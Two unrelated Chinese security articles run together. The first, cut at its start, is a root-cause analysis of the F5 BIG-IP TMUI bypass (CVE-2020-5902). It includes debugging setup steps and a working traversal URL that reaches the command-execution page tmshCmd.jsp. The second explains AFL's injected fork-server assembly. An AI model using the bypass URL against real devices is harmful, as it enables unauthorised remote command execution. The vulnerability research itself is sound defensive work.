* tomcat的默认部署目录不是webappps下吗？难道自定义了web根目录？而且tomcat默认的https不是8443端口吗？
经过我的排查，发现tomcat并没有自定义web目录,然后我就开始怀疑难道应用不是部署在tomcat下的？
为了搞清楚应用到底是部署在哪里的，我查了一下端口
`netstat -anp | grep 443`
原来443端口运行着httpd呀，也就是到这我才明白过来，BIG-IP是一个apache +
tomcat的架构，apache作为一个反向代理把请求转发到tomcat进行处理。
然后我去查了一下httpd的配置文件，发现，果然，web目录是配置为`/usr/local/www`的，也就解决了我的第一个疑问。
然后继续，根据poc可以知道漏洞点出在tmui目录下，所以，我直接把tmui目录给拖了下来，本想着直接部署到本地调试一下，但是代码运行的那一刻我才发现，我没有数据库呀,调试个p
那现在要么远程调试，要么就改一下本地代码的数据库地址，但是想了一下，好像直接改数据库地址可能比较麻烦，主要是我找不到他的数据库配置文件在哪～
于是曲线救国呗，选择远程调试，但是现在又出现了一个问题
* BIG-IP开启了调试模式了吗？
答案是显而易见的，人家一个产品，怎么会以调试模式打包给你
于是我就只有手动开启调试模式了呗，因为BIG-IP运行在tomcat下，开启tomcat调试不是简简单单吗？
我们都知道，tomcat开启调试都是直接以jpda模式运行catalina脚本
`catalina.sh jpda start`
但是看到这个虚拟机上的情况，给我整懵了，虚拟机上的tomcat目录下根本就没有catalina.sh脚本，引出下一个问题
* 那它的tomcat是怎么启动的呢？
查看一下进程信息吧
`ps -ef | grep tomcat`
可以看到，这里是最可疑的地方了，可能就是这个脚本启动了tomcat
于是我找到了这个脚本，并查看了下它的内容，果然就是一个tomcat启动脚本
脚本是直接使用java运行bootstrap来启动tomcat的，那么我就直接给你开启java调试呗，正当我准备修改脚本的时候，此时，又来了一个问题
* readonly file system 禁止写入怎么搞？
嗨呀，还好学校里开了Linux这门课，重新挂载下目录，将`/usr`目录挂载为可写
`mount -o remount w /usr`
如果你不知道挂载的是哪个目录，可以通过`cat /proc/mounts`查看，挂载过后，就可以修改dtomcat脚本的内容了，找到如下位置，添加一行
`-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8080`
然后保存修改，重启机器，再次查看进程信息就可以发现，我们的tomcat以调试模式运行了，接下来就是配置idea，准备远程调试代码了。
> IDEA远程调试代码配置方法自己搜索下吧,这里的远程调试端口我设置的是8080
但是当我一切都配置好了过后，点击开始调试，又一个问题跳了出来
* 为什么idea调试会timeout?端口填错了？服务端启动调试模式失败？
我查看了一下服务端，发现8080端口是处于监听状态的，说明tomcat是以调试模式运行着的，那就是说是端口被防火墙过滤了。我祭出我的nmap一扫，发现8080端口处于filtered状态，却是被过滤了呀
我感觉问题变得有点棘手了，尝试使用iptables修改虚拟机防火墙规则，结果提示
`Use the TMOS shell utility to make changes to the system configuration.
For more information, see "tmsh help security firewall management-ip-rules"`
根据提示，可以看出来，这个虚拟机有一套自己的防火墙管理工具，执行
`tmsh help security firewall management-ip-rules`
可以查看防火墙策略配置语法，执行完过后，我看着满屏的英文帮助文档，陷入了沉思
没办法，还是得上呀，一番折腾过后，摸清楚了他的配置规则
在终端执行tmsh命令进入一个新的执行环境（这个环境应该是专门用来配置该虚拟机的），依次执行以下命令进入到management-ip-rules模块
然后开始添加防火墙规则
`modify rules add { accept-8080 { destination { ports add { 8080 } } action
accept place-before first ip-protocol tcp } }`
然后输入quit退出tmsh环境，我一开始添加规则时没有指定ip-protocol，一直给我提示
`No source or destination port argument allowed for non-port-based protocol
(0) on firewall rule`
英语好的可以尝试翻译一下，我也是错了好几次才记起No还有禁止的意思。
OK，现在防火墙规则配好了，idea端点击调试，看到连接成功，我直接兴奋的跳了一套全国中小学第三套广播体操
说了这么久的漏洞分析前置操作，现在终于准备看代码了，OK，先看一下web.xml看下servlet配置，那篇分析文章中把关注点放在了ControlServlet上，我也就跟着看了一下这个servlet的配置，看到
然后该servlet是映射到下面的目录的
但是那篇文章中提到controlservlet配置了load-on-startup属性，所以该servlet会在tomcat一启动的时候就初始化，然后后面分析时又提到该servlet重写了doGet/doPost方法，
**所有的请求都会经过该servlet处理**
，就是这句话给我整懵逼了，我一个java菜鸟完全不能理解为啥所有请求都会经过该servlet处理，在我的仅有的知识里，只知道配置了servlet-mapping的特定目录才会被该servlet处理，我还以为是load-on-startup属性带来的效果，于是我去问了我身边搞java
web开发的同学，他说没这种操作，我不信，还去做了个实验，发现，确实没这种操作。于是我再次陷入了对人生以及社会的思考～
* 到底是哪里的配置可以让该servlet接受所有的请求？
想不出来，就只能靠实际操作了，眼见为实，我开始在controlServlet处打断点调试，发现，什么所有请求都会经过controlServlet，明明就不是，但是，到这个时候我都还在怀疑是不是我调试器出问题了（因为我之前就遇到过断点不能触发的情况），所以现在还不敢确定是不是那篇文章写错了，毕竟还是一个比较权威的单位发的文章。
我在这里研究了controlServlet很长时间，但是怎么都想不通那篇文章中提到的controlServlet中权限验证机制和这个漏洞有什么关系，因为断点都不会触发，八竿子打不着呀
于是我暂时否定了那篇文章中的分析，换了个思路，我已知这个漏洞就是httpd与tomcat解析差异导致的（但是这个差异体现在什么地方，或者说这个差异为什么导致了权限绕过，我不清楚），我心想，既然是解析差异，那么应该是httpd把我的请求当成一个普通请求放行了，但是在tomcat端它看到的却是一个敏感请求，即
我们发送的：
`/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp`
httpd看到的：
`/tmui/login.jsp/`
tomcat看到的：
`/tmui/tmui/locallb/workspace/tmshCmd.jsp`
上面是我臆想的一个请求过程，具体是不是这样，还有待求证，我需要知道httpdd与tomcat在处理url的具体差异是怎样的，要知道他们的差异，首先，我需要了解他们是怎么配合起来的
通过搜索，了解到他们是通过mod_proxy模块建立起连接的，具体怎么配置，这篇文章中写的很详细：
<https://www.cnblogs.com/f-ck-need-u/p/8414043.html>
我找到mod_proxy模块的配置文件：
可以看到这就是httd这个代理的转发规则，而且我知道了他们是通过ajp协议通信的，所以，为了搞清楚他们的解析差异，我在和ajp通信相关的代码处下了断点
在调试过程中，我发现了一个现象完全推翻了之前那篇文章中的分析，因为那篇文章分析是说，servlet的权限验证机制导致了漏洞的发生，也就是说他们认为是big-ip这个产品的代码写的有问题导致权限绕过，但是我发现，当我直接在浏览器中输入以下目录并请求时
`/tmui/tmui/locallb/workspace/tmshCmd.jsp`
ajp处的断点没有触发，而当我请求`/tmui/login.jsp`时ajp断点触发，我一开始以为是我的调试器又出问题了，所以用tcpdump在虚拟机上抓了下lo网卡下8009端口（ajp监听端口）的数据包
请求login.jsp时
burp下直接请求`/tmui/tmui/locallb/workspace/tmshCmd.jsp`时,注意，这里不能用浏览器访问，因为浏览器访问会直接跳转到login.jsp，会影响实验结果
可以看到当访问一个需要授权的文件时，没有抓到包，也就是说请求根本就没有到达tomcat，所以，此时我就意识到可能权限验证根本就是在httpd实现的，而不是那篇文章中所说的在controlServlet，终于，感觉看到点曙光了
当然，这只是一个猜测，我还需要找到证据来佐证，于是又开始翻配置文件，找到`httpd.conf`,可以看到
当我看到auth字样出现时，我就觉得八九不离十了，然后我搜了一下，这个就是httpd使用了pam认证，但是比较奇怪的是，我印象中的pam认证不都是那种
当你访问到需要权限的目录时浏览器弹出个框框让你输入密码吗，为什么BIG-IP这个是直接跳转到login.jsp页面，并且为什么login.jsp不需要登陆就可以访问，`httpd.conf`中配置的不是`/tmui`目录下所有的页面都需要权限验证吗？
我猜想可能是做了配置（废话，除了配置还能干嘛）
但是具体在哪里配置了我想不明白，然后就继续网上冲浪呗，看看能不能捡到答案呗
结果还真让我捡到了宝贝
原来，BIG-IP实现了自己的PAM认证模块，`mod_f5_auth_cookie.so`，在这个模块中设置了login.jsp不需要授权就可访问,
**且他只对比了前16个字符** ，这也是绕过比较关键的一点
这就完全说的通了。
到此为止，漏洞原理已经摆在面前了，还记得橘子🍊师傅blackhat的议题吗？
<https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf>
> 小声bb:我前面所有的研究，只证明了一件事：权限验证是在httpd端，我tm直接裂开…
## 漏洞原理
下面具体说一下httpd与tomcat在处理URL时候的差异
tomcat是支持path parameters的，什么是path parameters呢？我们通常传参是类似于下面这种形式的query
parameters:
`https://xxx/a.jsp?file=xxx`
参数通过问号与文件分隔，而path parameters则是通过分号隔离参数与路径,如下：
`https://xxx/a.jsp;file=xxx`
> 这个特性可是真的🐂🍺
然后我们看一下httpd的源码，mod_proxy_ajp.c,代码是关于ajp通信的部分
代码会执行到ap_proxy_canonenc,这个函数在proxy_util.c文件，跟进
从注释中就可以看到，分号是可以作为http路径的一部分的，所以当我们请求
`https://xxx/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp`
传递到tomcat的还是,不会有任何处理
`https://xxx/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp`
这个通过抓包或者调试就可以看到
接下来就是tomcat的事儿了，tomcat通过ajp协议在拿到httpd传过来的请求时，会对该请求进行一系列处理，其中在`catalina.jar!/org/apache/catalina/connector/CoyoteAdapter.class`的parsePathParameters对path
parameters进行了处理，直接把path parameters删除掉了,就是下面这个for循环去掉了path param
然后，把值赋给uriBC,可以看到赋值过后，uriBC的值为：
uriBC从
`/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp`
变成了
`/tmui/login.jsp/../tmui/locallb/workspace/tmshCmd.jsp`
少了个分号，接下来tomcat会对这个uri进行规范化，也就是规范成
`/tmui/tmui/locallb/workspace/tmshCmd.jsp`
接着，就是根据web.xml中的配置找到该URL对应的servlet，并把请求交给这个servlet，`/tmui/tmui/locallb/workspace/tmshCmd.jsp`对应的servlet为
然后在tmshCmd_jsp执行了我们传入的命令
至此整个流程结束。
## 其他
可以看到，漏洞原理其实很简单，只不过你永远不知道你会被什么东西绊一下，我也是没想到我居然被一篇错误的文章折腾了好几个小时
回想一下，可能漏洞作者挖这个洞根本就没看代码，只是偶然发现它是一个反向代理的架构，然后用了这么一个绕过手法测试了一下，结果没想到，真就捡到了一个漏洞
## 参考文章
这篇文章分析的很好，本文关于c语言反编译那一块的图片都是来自它，遗憾的是它是我在写这篇文章的前一天才发出来的，要是早看到这篇文章，就不会走那么多弯路了，呜呜呜
<https://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/> | 社区文章 |
# AFL源码分析（II）——白盒模式下的afl-gcc分析（Part 2）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
本文将接续[第一篇文章](https://www.anquanke.com/post/id/240792)，继续分析`afl-gcc`向程序中插入的关键代码。
## 0x01 afl-as源码分析(第二部分)
上一篇文章中说到，若桩代码计数器`ins_lines`不为0，`afl-as`会将`main_payload_64`/`main_payload_32`(取决于`use_64bit`标志位状态)插入整个汇编文件末尾。
### `main_payload_64`代码分析
去除了对于`MacOS`以及`OpenBSD`的系统适配后，合并宏定义后代码整理结果如下：
/* --- AFL MAIN PAYLOAD (64-BIT) --- */
.text
.att_syntax
.code64
.align 8
__afl_maybe_log:
lahf
seto %al
/* Check if SHM region is already mapped. */
movq __afl_area_ptr(%rip), %rdx
testq %rdx, %rdx
je __afl_setup
__afl_store:
/* Calculate and store hit for the code location specified in rcx. */
#ifndef COVERAGE_ONLY
xorq __afl_prev_loc(%rip), %rcx
xorq %rcx, __afl_prev_loc(%rip)
shrq $1, __afl_prev_loc(%rip)
#endif /* ^!COVERAGE_ONLY */
#ifdef SKIP_COUNTS
orb $1, (%rdx, %rcx, 1)
#else
incb (%rdx, %rcx, 1)
#endif /* ^SKIP_COUNTS */
__afl_return:
addb $127, %al
sahf
ret
.align 8
__afl_setup:
/* Do not retry setup if we had previous failures. */
cmpb $0, __afl_setup_failure(%rip)
jne __afl_return
/* Check out if we have a global pointer on file. */
movq __afl_global_area_ptr(%rip), %rdx
testq %rdx, %rdx
je __afl_setup_first
movq %rdx, __afl_area_ptr(%rip)
jmp __afl_store
__afl_setup_first:
/* Save everything that is not yet saved and that may be touched by
getenv() and several other libcalls we'll be relying on. */
leaq -352(%rsp), %rsp
movq %rax, 0(%rsp)
movq %rcx, 8(%rsp)
movq %rdi, 16(%rsp)
movq %rsi, 32(%rsp)
movq %r8, 40(%rsp)
movq %r9, 48(%rsp)
movq %r10, 56(%rsp)
movq %r11, 64(%rsp)
movq %xmm0, 96(%rsp)
movq %xmm1, 112(%rsp)
movq %xmm2, 128(%rsp)
movq %xmm3, 144(%rsp)
movq %xmm4, 160(%rsp)
movq %xmm5, 176(%rsp)
movq %xmm6, 192(%rsp)
movq %xmm7, 208(%rsp)
movq %xmm8, 224(%rsp)
movq %xmm9, 240(%rsp)
movq %xmm10, 256(%rsp)
movq %xmm11, 272(%rsp)
movq %xmm12, 288(%rsp)
movq %xmm13, 304(%rsp)
movq %xmm14, 320(%rsp)
movq %xmm15, 336(%rsp)
/* Map SHM, jumping to __afl_setup_abort if something goes wrong. */
/* The 64-bit ABI requires 16-byte stack alignment. We'll keep the
original stack ptr in the callee-saved r12. */
pushq %r12
movq %rsp, %r12
subq $16, %rsp
andq $0xfffffffffffffff0, %rsp
leaq .AFL_SHM_ENV(%rip), %rdi
call getenv@PLT
testq %rax, %rax
je __afl_setup_abort
movq %rax, %rdi
call atoi@PLT
xorq %rdx, %rdx /* shmat flags */
xorq %rsi, %rsi /* requested addr */
movq %rax, %rdi /* SHM ID */
call shmat@PLT
cmpq $-1, %rax
je __afl_setup_abort
/* Store the address of the SHM region. */
movq %rax, %rdx
movq %rax, __afl_area_ptr(%rip)
movq __afl_global_area_ptr@GOTPCREL(%rip), %rdx
movq %rax, (%rdx)
movq %rax, %rdx
__afl_forkserver:
/* Enter the fork server mode to avoid the overhead of execve() calls. We
push rdx (area ptr) twice to keep stack alignment neat. */
pushq %rdx
pushq %rdx
/* Phone home and tell the parent that we're OK. (Note that signals with
no SA_RESTART will mess it up). If this fails, assume that the fd is
closed because we were execve()d from an instrumented binary, or because
the parent doesn't want to use the fork server. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
call write@PLT
cmpq $4, %rax
jne __afl_fork_resume
__afl_fork_wait_loop:
/* Wait for parent by reading from the pipe. Abort if read fails. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY(FORKSRV_FD) ", %rdi /* file desc */
call read@PLT
cmpq $4, %rax
jne __afl_die
/* Once woken up, create a clone of our process. This is an excellent use
case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly
caches getpid() results and offers no way to update the value, breaking
abort(), raise(), and a bunch of other things :-( */
call fork@PLT
cmpq $0, %rax
jl __afl_die
je __afl_fork_resume
/* In parent process: write PID to pipe, then wait for child. */
movl %eax, __afl_fork_pid(%rip)
movq $4, %rdx /* length */
leaq __afl_fork_pid(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
call write@PLT
movq $0, %rdx /* no flags */
leaq __afl_temp(%rip), %rsi /* status */
movq __afl_fork_pid(%rip), %rdi /* PID */
call waitpid@PLT
cmpq $0, %rax
jle __afl_die
/* Relay wait status to pipe, then loop back. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
call write@PLT
jmp __afl_fork_wait_loop
__afl_fork_resume:
/* In child process: close fds, resume execution. */
movq $" STRINGIFY(FORKSRV_FD) ", %rdi
call close@PLT
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi
call close@PLT
popq %rdx
popq %rdx
movq %r12, %rsp
popq %r12
movq 0(%rsp), %rax
movq 8(%rsp), %rcx
movq 16(%rsp), %rdi
movq 32(%rsp), %rsi
movq 40(%rsp), %r8
movq 48(%rsp), %r9
movq 56(%rsp), %r10
movq 64(%rsp), %r11
movq 96(%rsp), %xmm0
movq 112(%rsp), %xmm1
movq 128(%rsp), %xmm2
movq 144(%rsp), %xmm3
movq 160(%rsp), %xmm4
movq 176(%rsp), %xmm5
movq 192(%rsp), %xmm6
movq 208(%rsp), %xmm7
movq 224(%rsp), %xmm8
movq 240(%rsp), %xmm9
movq 256(%rsp), %xmm10
movq 272(%rsp), %xmm11
movq 288(%rsp), %xmm12
movq 304(%rsp), %xmm13
movq 320(%rsp), %xmm14
movq 336(%rsp), %xmm15
leaq 352(%rsp), %rsp
jmp __afl_store
__afl_die:
xorq %rax, %rax
call _exit@PLT
__afl_setup_abort:
/* Record setup failure so that we don't keep calling
shmget() / shmat() over and over again. */
incb __afl_setup_failure(%rip)
movq %r12, %rsp
popq %r12
movq 0(%rsp), %rax
movq 8(%rsp), %rcx
movq 16(%rsp), %rdi
movq 32(%rsp), %rsi
movq 40(%rsp), %r8
movq 48(%rsp), %r9
movq 56(%rsp), %r10
movq 64(%rsp), %r11
movq 96(%rsp), %xmm0
movq 112(%rsp), %xmm1
movq 128(%rsp), %xmm2
movq 144(%rsp), %xmm3
movq 160(%rsp), %xmm4
movq 176(%rsp), %xmm5
movq 192(%rsp), %xmm6
movq 208(%rsp), %xmm7
movq 224(%rsp), %xmm8
movq 240(%rsp), %xmm9
movq 256(%rsp), %xmm10
movq 272(%rsp), %xmm11
movq 288(%rsp), %xmm12
movq 304(%rsp), %xmm13
movq 320(%rsp), %xmm14
movq 336(%rsp), %xmm15
leaq 352(%rsp), %rsp
jmp __afl_return
.AFL_VARS:
.lcomm __afl_area_ptr, 8
#ifndef COVERAGE_ONLY
.lcomm __afl_prev_loc, 8
#endif /* !COVERAGE_ONLY */
.lcomm __afl_fork_pid, 4
.lcomm __afl_temp, 4
.lcomm __afl_setup_failure, 1
.comm __afl_global_area_ptr, 8, 8
.AFL_SHM_ENV:
.asciz "SHM_ENV_VAR"
接下来我们逐函数进行分析。
#### `__afl_maybe_log`函数
此函数主要负责保存现场并且检查共享内存是否已被分配。
__afl_maybe_log:
lahf
seto %al
/* Check if SHM region is already mapped. */
movq __afl_area_ptr(%rip), %rdx
testq %rdx, %rdx
je __afl_setup
1. 使用`lahf`(`Load AH with Flags`)指令将标志寄存器的低八位(`CF`-进位标志、`PF`-奇偶标志、`AF`-辅助进位标志、`ZF`-零标志、`SF`-符号标志)存储到`AH`寄存器中。
* 进位标志：用于反映运算是否产生进位或借位。如果运算结果的最高位产生一个进位或借位，则`CF`置`1`，否则置`0`。运算结果的最高位包括字操作的第`15`位和字节操作的第`7`位。移位指令也会将操作数的最高位或最低位移入`CF`。
* 奇偶标志：用于反映运算结果低`8`位中“`1`”的个数。“`1`”的个数为偶数，则`PF`置`1`，否则置`0`。
* 辅助进位标志：算数操作结果的第三位(从`0`开始计数)如果产生了进位或者借位则将其置为`1`，否则置为`0`，常在`BCD`(`binary-codedecimal`)算术运算中被使用。
* 零标志：用于判断结果是否为`0`。运算结果`0`，`ZF`置`1`，否则置`0`。
* 符号标志：用于反映运算结果的符号，运算结果为负，`SF`置`1`，否则置`0`。因为有符号数采用补码的形式表示，所以`SF`与运算结果的最高位相同。
2. 使用`seto %al`记录此时`OF`(溢出标志)的状态，当标志寄存器中的此标志位置位时，将`AL`寄存器置位。
* 溢出标志：反映有符号数加减运算是否溢出。如果运算结果超过了`8`位或者`16`位有符号数的表示范围，则`OF`置`1`，否则置`0`。
3. 使用`movq __afl_area_ptr(%rip), %rdx`将`__afl_area_ptr(%rip)`的值存入`RDX`寄存器中。此处`__afl_area_ptr(%rip)`是在`BSS`段中存储的一个一个指针，此指针指向共享内存。
4. 使用`testq %rdx, %rdx`检查`RDX`寄存器的值是否存在，若存在则代表共享内存已被分配，否则，应当认为此时共享内存未被分配。
5. 如果`RDX`为空，`ZF`置位，此时跳转进入`__afl_setup`；否则，按顺序执行`__afl_store`函数。
#### `__afl_store`函数
此函数主要负责记录命中桩代码的次数并计算其覆盖区域。
__afl_store:
/* Calculate and store hit for the code location specified in rcx. */
#ifndef COVERAGE_ONLY
xorq __afl_prev_loc(%rip), %rcx
xorq %rcx, __afl_prev_loc(%rip)
shrq $1, __afl_prev_loc(%rip)
#endif /* ^!COVERAGE_ONLY */
#ifdef SKIP_COUNTS
orb $1, (%rdx, %rcx, 1)
#else
incb (%rdx, %rcx, 1)
#endif /* ^SKIP_COUNTS */
1. 首先，这里用到了`RCX`寄存器的值，如果还记得上一篇文章中对于`__afl_maybe_log`的调用逻辑的分析的话，应该记得`RCX`的值是一个随机数，而这个随机数事实上是用于标记本次桩命中逻辑的。
2. 当`COVERAGE_ONLY`标志未被设置：
1. 将`__afl_prev_loc(旧值) ^ 随机数(RCX)`的值存入`RCX`寄存器中。
2. 将`__afl_prev_loc(旧值) ^ __afl_prev_loc(旧值) ^ 随机数(RCX)`的值存储在`__afl_prev_loc`中，即将随机数存入`__afl_prev_loc`中。
3. 将`__afl_prev_loc`中的值逻辑右移1位。
3. 当`SKIP_COUNTS`标志被设置，将`Byte[RDX + RCX * 1]`的值与1进行或操作并将结果存回原处。
* 此处的`(%rdx, %rcx, 1)`是一种比例寻址的写法，语法为`(基地址,偏移量,比例因子)`，最终取出`基地址+偏移量*比例因子`的值。
4. 当`SKIP_COUNTS`标志未被设置，将`Byte[RDX + RCX * 1]`的值增加1。此时`RDX`是共享内存的地址，`RCX`是`__afl_prev_loc(旧值) ^ 随机数(RCX)`，而当程序进行到第二个桩时，事实上`__afl_prev_loc(旧值)`就是`上一个桩标识 >> 1`的值了。即，此步事实上就是`share_mem[__afl_prev_loc(旧值) ^ 随机数(RCX)]++`。实际上是存入一个64k大小的哈希表，存在碰撞几率，但是问题不大。而这个索引是通过异或得到的。
#### `__afl_return`函数
此函数主要负责AFL插入的桩代码返回。
__afl_return:
addb $127, %al
sahf
ret
1. 使用`add`命令将`AL`寄存器的值加上`0x7F`用以恢复`OF`标志的值。
2. 从`AH`寄存器中恢复标志寄存器的低八位。
3. 函数返回。
#### `__afl_setup`函数
此函数主要用于检查文件全局指针是否存在。
__afl_setup:
/* Do not retry setup if we had previous failures. */
cmpb $0, __afl_setup_failure(%rip)
jne __afl_return
/* Check out if we have a global pointer on file. */
movq __afl_global_area_ptr(%rip), %rdx
testq %rdx, %rdx
je __afl_setup_first
movq %rdx, __afl_area_ptr(%rip)
jmp __afl_store
1. 检查`AFL`初始化失败计数器`__afl_setup_failure(%rip)`的值是否为0，若不为0，则跳转进入`__afl_return`函数。
2. 将`__afl_global_area_ptr(%rip)`这个`BSS段`变量(此变量表示一个文件全局指针)的值存入`RDX`寄存器，检查`RDX`寄存器是否为空，若为空，则跳转进入`__afl_setup_first`函数。
3. 若`RDX`寄存器不为空，则将`RDX`寄存器的值写入`__afl_area_ptr`随后跳入`__afl_store`函数。此时文件全局指针就是我们的共享内存指针。
#### `__afl_setup_first`函数
此函数主要用于获取共享内存。
__afl_setup_first:
/* Save everything that is not yet saved and that may be touched by
getenv() and several other libcalls we'll be relying on. */
leaq -352(%rsp), %rsp
movq %rax, 0(%rsp)
movq %rcx, 8(%rsp)
movq %rdi, 16(%rsp)
movq %rsi, 32(%rsp)
movq %r8, 40(%rsp)
movq %r9, 48(%rsp)
movq %r10, 56(%rsp)
movq %r11, 64(%rsp)
movq %xmm0, 96(%rsp)
movq %xmm1, 112(%rsp)
movq %xmm2, 128(%rsp)
movq %xmm3, 144(%rsp)
movq %xmm4, 160(%rsp)
movq %xmm5, 176(%rsp)
movq %xmm6, 192(%rsp)
movq %xmm7, 208(%rsp)
movq %xmm8, 224(%rsp)
movq %xmm9, 240(%rsp)
movq %xmm10, 256(%rsp)
movq %xmm11, 272(%rsp)
movq %xmm12, 288(%rsp)
movq %xmm13, 304(%rsp)
movq %xmm14, 320(%rsp)
movq %xmm15, 336(%rsp)
/* Map SHM, jumping to __afl_setup_abort if something goes wrong. */
/* The 64-bit ABI requires 16-byte stack alignment. We'll keep the
original stack ptr in the callee-saved r12. */
pushq %r12
movq %rsp, %r12
subq $16, %rsp
andq $0xfffffffffffffff0, %rsp
leaq .AFL_SHM_ENV(%rip), %rdi
call getenv@PLT
testq %rax, %rax
je __afl_setup_abort
movq %rax, %rdi
call atoi@PLT
xorq %rdx, %rdx /* shmat flags */
xorq %rsi, %rsi /* requested addr */
movq %rax, %rdi /* SHM ID */
call shmat@PLT
cmpq $-1, %rax
je __afl_setup_abort
/* Store the address of the SHM region. */
movq %rax, %rdx
movq %rax, __afl_area_ptr(%rip)
movq __afl_global_area_ptr@GOTPCREL(%rip), %rdx
movq %rax, (%rdx)
movq %rax, %rdx
1. 开辟一块`0x160`大小的栈空间，并保存`RAX`、`RCX`、`RDI`、`RSI`、`R8`、`R9`、`R10`、`R11`、`Xmm0-Xmm15`寄存器的值到栈上。
2. 保存`R12`寄存器到栈上，然后将`RSP`保存在`R12`寄存器内，再开辟一段`0x10`大小的栈空间，进行内存对齐。
3. 调用`getenv("SHM_ENV_VAR")`获取共享内存标识符，若返回空，则跳入`__afl_setup_abort`函数
4. 否则，将共享内存标识符存入`RDI`，并调用`atoi`将其转换为数字。
5. 调用`shmat(RAX,0,0)`，即调用`shmat(atoi(getenv("SHM_ENV_VAR")),0,0)`来连接共享内存标识符所示的共享内存，连接成功后把共享内存区对象映射到调用进程的地址空间，随后可像本地空间一样访问。
* `shmat`的函数原型为`void *shmat(int shmid, const void *shmaddr, int shmflg)`，`shmid`表示共享内存标识符，`shmaddr`表示共享内存标识符指定共享内存出现在进程内存地址的什么位置，可以直接指定为`NULL`让内核自己决定一个合适的地址位置，`shmflg`表示标志位，未指定标志位时，共享内存默认为读-写权限，目前只定义了两个可用的标志位：
* `#define SHM_RDONLY 010000`(只读标志)：当此标志被附加时，共享内存为只读权限。
* `#define SHM_RND 020000`(`SHMLBA`标志)：当此标志被设置时，共享内存被连接到`SHMLBA`所指向的内存区域。
6. 检查`shmat()`的返回值是否为`-1`，若为`-1`则表示共享内存分配失败，跳入`__afl_setup_abort`函数。
7. 将附加好的共享内存地址存入`RDX`寄存器以及`__afl_area_ptr`中
8. 将`__afl_global_area_ptr`的地址存入`RDX`中
9. 将附加好的共享内存地址存入`[RDX]`中
10. 将附加好的共享内存地址存入`RDX`寄存器中
* 这里是一种寻址的写法，可以简单的认为`[__afl_global_area_ptr[@GOTPCREL](https://github.com/GOTPCREL "@GOTPCREL")(%rip)]=__afl_global_area_ptr(%rip)`
#### `__afl_forkserver`函数
此函数主要用于栈内存对齐以及向状态管道写入四字节以告知父进程已经准备好了。
__afl_forkserver:
/* Enter the fork server mode to avoid the overhead of execve() calls. We
push rdx (area ptr) twice to keep stack alignment neat. */
pushq %rdx
pushq %rdx
/* Phone home and tell the parent that we're OK. (Note that signals with
no SA_RESTART will mess it up). If this fails, assume that the fd is
closed because we were execve()d from an instrumented binary, or because
the parent doesn't want to use the fork server. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
call write@PLT
cmpq $4, %rax
jne __afl_fork_resume
1. 使用两次`pushq %rdx`来使得占内存对齐。
2. 调用`write(STRINGIFY((FORKSRV_FD + 1)),__afl_temp,4)`来向指定文件描述符写4个字节，写入的内容是`__afl_temp`的值。
* 此处，`FORKSRV_FD`的值由`config.h`指定，语句为`#define FORKSRV_FD 198`。
* 这个文件描述符实际上是程序的状态管道，具体逻辑在`afl-fuzz.c`中。
3. 检查实际写入字节数是否为4字节，若不为四字节，则跳转至`__afl_fork_resume`函数。
#### `__afl_fork_wait_loop`函数
此函数为AFL的桩代码主逻辑，且桩代码将在此处循环。
__afl_fork_wait_loop:
/* Wait for parent by reading from the pipe. Abort if read fails. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY(FORKSRV_FD) ", %rdi /* file desc */
call read@PLT
cmpq $4, %rax
jne __afl_die
/* Once woken up, create a clone of our process. This is an excellent use
case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly
caches getpid() results and offers no way to update the value, breaking
abort(), raise(), and a bunch of other things :-( */
call fork@PLT
cmpq $0, %rax
jl __afl_die
je __afl_fork_resume
/* In parent process: write PID to pipe, then wait for child. */
movl %eax, __afl_fork_pid(%rip)
movq $4, %rdx /* length */
leaq __afl_fork_pid(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
call write@PLT
movq $0, %rdx /* no flags */
leaq __afl_temp(%rip), %rsi /* status */
movq __afl_fork_pid(%rip), %rdi /* PID */
call waitpid@PLT
cmpq $0, %rax
jle __afl_die
/* Relay wait status to pipe, then loop back. */
movq $4, %rdx /* length */
leaq __afl_temp(%rip), %rsi /* data */
movq $" STRINGIFY((FORKSRV_FD + 1)) ", %rdi /* file desc */
call write@PLT
jmp __afl_fork_wait_loop
1. 调用`read(STRINGIFY(FORKSRV_FD),__afl_temp,4)`，即`read(198,__afl_temp,4)`，用以从状态管道中读取四字节状态数据。
2. 当读取的字节数不为4字节时，跳转`__afl_die`函数。
3. 一旦程序运行到此处，应当视为程序的流程命中了一次插桩，此时调用`fork()`函数创建一个子进程。若`fork()`函数返回负值，表示子进程创建失败，跳转`__afl_die`函数。若`fork()`函数返回0，表示此进程为子进程，跳转`__afl_fork_resume`函数。
4. 将子进程号存储在`__afl_fork_pid`中。
5. 调用`write(STRINGIFY((FORKSRV_FD + 1)),__afl_fork_pid,4)`，即`write(199,__afl_fork_pid,4)`，用以将子进程号发送至状态管道。
6. 调用`waitpid(__afl_fork_pid,__afl_temp,0)`，暂停当前进程，直到接收到子进程的信号或子进程退出为止。传入的`__afl_temp`将用于保存程序状态。
